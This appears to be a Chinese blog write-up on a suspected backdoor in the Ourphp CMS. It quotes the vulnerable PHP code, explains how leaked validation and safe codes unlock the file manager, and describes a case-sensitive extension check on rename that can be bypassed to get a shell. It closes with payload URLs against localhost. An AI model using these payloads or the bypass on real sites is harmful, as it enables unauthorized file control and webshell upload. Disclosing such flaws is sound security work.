php疑似后门,某php一处疑似官方后门导致getshell

return '';

}

(左右滑动)

后门之处，暴露口令码、安全校验码的前32位，6位是在这32位里。

再看看安全校验码生成的地方，在functioninstallindex.php的第288行

$ourphp_safecode = getRandomString(32);

$safecode6 = substr($ourphp_safecode , 6 , 6);

$str_f = '$';

$str_tmp = "<?php

/*

* Ourphp - CMS建站系统

* Copyright (C) 2014 ourphp.net

* -------------------------------

* 网站配置文件 (2016-10-22)

* -------------------------------

*/

define('OURPHPNO', true);

define('WEB_ROOT',substr(dirname(__FILE__), 0, -7));

include '".$mysql_file."';

".$str_f."ourphp = array(

'webpath' => '/', // 网站路径

'validation' => '12345', // 口令码

'adminpath' => 'client/manage', // 管理员默认目录

'mysqlurl' => '".$ourphp_dburl."', // 数据库链接地址

'mysqlname' => '".$ourphp_dbname."', // 数据库登录账号

'mysqlpass' => '".$ourphp_dbpass."', // 数据库登录密码

'mysqldb' => '".$ourphp_mydb."', // 数据库表名

'filesize' => '5000000', // 附件上传最大值

'safecode' => '".$ourphp_safecode.$safecode6."', // 安全校验码

'mysqltype' => '".$mysql_type."',

);

(左右滑动)

可以看到随机一个32位，然后取32位的第6位后的6位拼接

再看clientmanageourphp_filebox.php 第45行

if (@$_GET['validation'] == $ourphp['validation'] && $_GET['code'] == $ourphp['safecode']){

$_SESSION['ourphp_outtime'] = time() + 3600;

$_SESSION['ourphp_out'] = "ourphp";

}else{

if(isset($_SESSION['ourphp_out'])){

$filefolder = str_replace('','/',WEB_ROOT.$ourphp['webpath']);

}else{

include 'ourphp_checkadmin.php';

$filefolder = str_replace('','/',WEB_ROOT.$ourphp['webpath']."templates/");

}

}

(左右滑动)

这里只要口令码、安全校验码正确就可以对文件进行操作(编辑、重命名)

再看832行，重命名的操作，可以大小写绕过

function renam($rename, $nrename, $folder) {

global $meurl,$folder;

$php = explode('.',$nrename);

$php = end($php);

if($php == 'php' || $php == 'asp' || $php == 'jsp' || $php == 'aspx'){

printerror("重命名出错！");

exit;

}

(左右滑动)

Payload：

http://localhost:88//function/editor/php/upload_json.php?upload_file=aaa

http://localhost:88/client/manage/ourphp_filebox.php?op=home&folder=./&validation=12345&code=QZRdvlYHlDUgqZubIGV9Mx46JCqmDNkmYHlDUg

验证：

获取口令码、安全校验码

文件管理：